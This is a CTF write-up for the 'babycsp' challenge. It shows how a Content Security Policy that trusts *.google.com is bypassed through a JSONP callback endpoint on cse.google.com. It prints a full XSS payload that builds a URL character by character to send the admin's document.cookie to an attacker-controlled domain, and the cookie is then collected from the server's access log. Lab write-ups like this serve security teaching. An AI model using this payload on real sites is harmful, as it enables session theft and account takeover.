WRITEUP BABYCSP

Author: p4w @beerpwn team

As the descrption/title say we will probably need to bypass CSP to trigger some XSS in order to steal the admin cookies. Surfing to the index page we have this:

The input that we can pass is totally NOT filtered and safe from XSS.

Understanding the CSP

The script-src 'self' *.google.com directive permit to use scripts that are coming from *.google.com, and also from the same domain. The connect-src * directive restricts the URLs which can be loaded using script interfaces. Then in this case every URL are allowed.

Bypassing the CSP

This is what I was thinking during the CTF: since we can't control directily any file contents from the same domain, then we can try to 'host' some XSS payload on google subdomain. At the beginning I tried to use googleDrive to host some XSS-file but i had no lucky with that and I dind't manage to serve the raw file from google subdomains. So the second idea that comes in my mind was to use JSONP callback. More info about JSONP <a href="https://www.w3schools.com/js/js_json_jsonp.asp">here</a>. So after a bit of googling I found <a href='https://github.com/zigoo0/JSONBee'>this</a> page. So I used this https://cse.google.com/api/007627024705277327428:r3vs7b0fcli/popularqueryjs?callback=alert() endpoint for JSONP callback.

Fire the XSS

Now with this payload <script src='//cse.google.com/api/007627024705277327428:r3vs7b0fcli/popularqueryjs?callback=alert()'></script> we will be able to pop up an alert bypassing the CSP. The only problem that I had to solve now is that some character are not usable with this JSONP endpoint as we can see here:

This characters ? / , and probably more others are not allowed to construct the callback function. So I comed up with this payload to avoid the bad chars: <code> <script src='//cse.google.com/api/007627024705277327428:r3vs7b0fcli/popularqueryjs?callback=location.replace(String.fromCharCode(47).concat(String.fromCharCode(47).concat("your-domain-here").concat(String.fromCharCode(47).concat(document.cookie))))'></script> </code>

With this payload we can grab the admin-cookie by reading access.log file of our server:

flag: flag{csp_will_solve_EVERYTHING}